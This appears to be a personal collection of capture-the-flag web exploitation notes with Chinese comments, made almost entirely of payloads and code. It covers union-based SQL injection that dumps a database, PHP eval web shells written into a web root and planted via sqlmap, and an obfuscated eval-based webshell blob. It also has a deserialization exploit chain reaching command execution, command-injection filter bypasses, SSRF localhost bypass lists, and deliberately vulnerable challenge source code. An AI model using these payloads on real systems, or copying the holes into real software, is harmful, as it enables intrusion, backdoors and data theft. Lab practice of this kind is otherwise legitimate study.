?id=1
?id=1'				//判断为整数类型的注入
?id=1 and 1=1#		//正常执行
?id=1 and 1=2#    //返回报错,证明存在注入
?id=1 order by 2#		//查看显示位,有两列
?id=-1 union select database(),user()#   //word,root@localhost
?id=-1 union select version(),@@datadir#      //数据库版本和安装路径
?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),user()#       			//articles
?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_name="articles"),user()#				//id,title,word
?id=-1 union select (select group_concat(id,title,word) from word.articles),user()#			

echo "<?php @eval(\$_POST[123]);?>" > /var/www/html/111.php
echo '<?php @eval($_POST[123]);?>' > /var/www/html/123.php

python sqlmap.py -u "http://challenge.qsnctf.com:30089/?id=1" --file-write D:\111.txt --file-dest /var/www/html/333.php

bin home lib32 media root sys vmlinuz boot initrd.img flag lib64 mnt run tmp vmlinuz.old dev initrd.img.old libx32 opt sbin usr etc lib lost+found proc srv var

cat flag
cat%20flag
cat%20fl*
cat$IFSf*
tac$IFSfla?
ca\t$IFSf*
......

$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));

<?php
    error_reporting(0);
highlight_file(__file__);
    class shi{
        public $next;
        public $pass;
        public function __toString(){
            $this->next::PLZ($this->pass);
        }
    }
    class wo{
        public $sex;
        public $age;
        public $intention;
        public function __destruct(){
            echo "Hi Try serialize Me!";
            $this->inspect();
        }
        function inspect(){
            if($this->sex=='boy'&&$this->age=='eighteen'){
                echo $this->intention;
            }
            echo " 18岁 ";
        }
    }
    class Demo{
        public $a;
        static function __callStatic($action, $do){
            global $b;
            $b($do[0]);
        }
    }
    $b = $_POST['password'];
    $a = $_POST['username'];
    @unserialize($a);
    if (!isset($b)) {
        echo "==================PLZ Input Your Name!==================";
    }
    if($a=='admin'&&$b=="'k1fuhu's test demo"){
        echo("登录成功");
    }
?>

<?php
    class shi{
        public $next;
        public $pass="whoami";
    }
    class wo{
        public $sex="boy";
        public $age="eighteen";
        public $intention;
    }
    class Demo{
        public $a;
    }
$d=new Demo();
$s=new shi();
$s->next=$d;
$w=new wo();
$w->intention=$s;
echo serialize($w);
echo urlencode(serialize($w));
?>

ls%20-al
cat /flag
cat\$IFS/f*

域名指向绕过：
    localtest.me
    fuf.me
	vcap.me
	lvh.me
    xip.io
    spoofed.burpcollaborator.net
    safe.taobao.com
localhost
进制绕过：或点分式
    0x7F000001   //十六进制 0x
    017700000001 //八进制
    2130706433 //十进制
    0177.0000.0000.0001
    0x7F.0x00.0x00.0x01
    0x7F.0.0.1
添加@绕过：
    quan9i@127.0.0.1
    notfound.ctfhub.com@127.0.0.1
    ...
特殊数字：
    1②7.0.0.1
句号替代.绕过:
	127。0。0。1
省略0绕过：
    127.1
    127.0.1
特殊0：在windows中，0代表0.0.0.0，而在linux下，0代表127.0.0.1
	0
302跳转：
	sudo.cc		//已经不能用

 <?php
show_source(__FILE__);
include('k4y.php');
include_once('flag.php');

// Challenge 1
if (isset($_GET['DrKn'])) {
    $text = $_GET['DrKn'];
    if(@file_get_contents($text) == $key) {
        echo "有点东西呢"."</br>".$key1."</br>";
    } else {
        die("貌似状态不在线啊(╯_╰)</br>");
    }
} 
// Challenge 2
if (isset($_GET[$key1])) {
    $damei = $_GET[$key1];
    if (hash("md4", $damei) == $damei) {
        echo "又近了一步呢，宝~"."</br>".$key2."</br>".$key3;
    } else {
        die("达咩哟~");
    }
} 

// Challenge 3
if (isset($_POST[$key2]) && isset($_POST[$key3])) {
    $user = $_POST[$key2];
    $pass = $_POST[$key3];
  
    if (strlen($user) > 4 || strlen($pass) > 5) {
          die("还得练");
      }
     if ($user !== $pass && md5($user) === md5($pass)) {  
          echo "还不错哦"."$flag";
      }
      else {
          die("nonono") ;
      }
    }
?> 

cha11eng3.php?DrKn=data://text/plain,MSIBLG
cha11eng3.php?DrKn=data://text/plain;base64,TVNJQkxH
cha11eng3.php?DrKn=php://input
	post 传入：MSIBLG

M[ore.8=0e001233333333333334557778889
在url中不能识别_，所以用[代替

<?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if($token){
    extract($_GET);
    $token = base64_decode($token);
    $token = json_decode($token, true);


    $username = $token['username'];
    $password = $token['password'];
    $isLocal = false;
    
    if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
        $isLocal = true;
    }

    if($isLocal){
        echo 'Welcome Back，' . $username . '!';
        //如果 upload 目录下存在$username.png文件，则显示图片
        if(file_exists('upload/' . $username . '/' . $token['filename'])){
            // 显示图片，缩小图片
            echo '<br>';
            echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
        } else {
            echo '请上传您高贵的头像。';
            // 写一个上传头像的功能
            $html = <<<EOD
            <form method="post" action="upload.php" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <input type="submit" value="Upload">
            </form>
            EOD;
            echo $html;
        }
    } else {
        // echo "留个言吧";
        $html = <<<EOD
        <h1>留言板</h1>
        <label for="input-text">Enter some text:</label>
        <input type="text" id="input-text" placeholder="Type here...">
        <button onclick="displayInput()">Display</button>
        EOD;
        echo $html;
    }
} else {
    $html = <<<EOD
<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <h2>Login</h2>
    <form method="post" action="./login.php">
        <div>
            <label for="username">Username:</label>
            <input type="text" name="username" id="username" required>
        </div>
        <div>
            <label for="password">Password:</label>
            <input type="password" name="password" id="password" required>
        </div>
        <div>
            <input type="submit" value="Login">
        </div>
    </form>
</body>
</html>
EOD;
    echo $html;
}
?>

<script>
    function displayInput() {
      var inputText = document.getElementById("input-text").value;
      document.write(inputText)
    }
</script>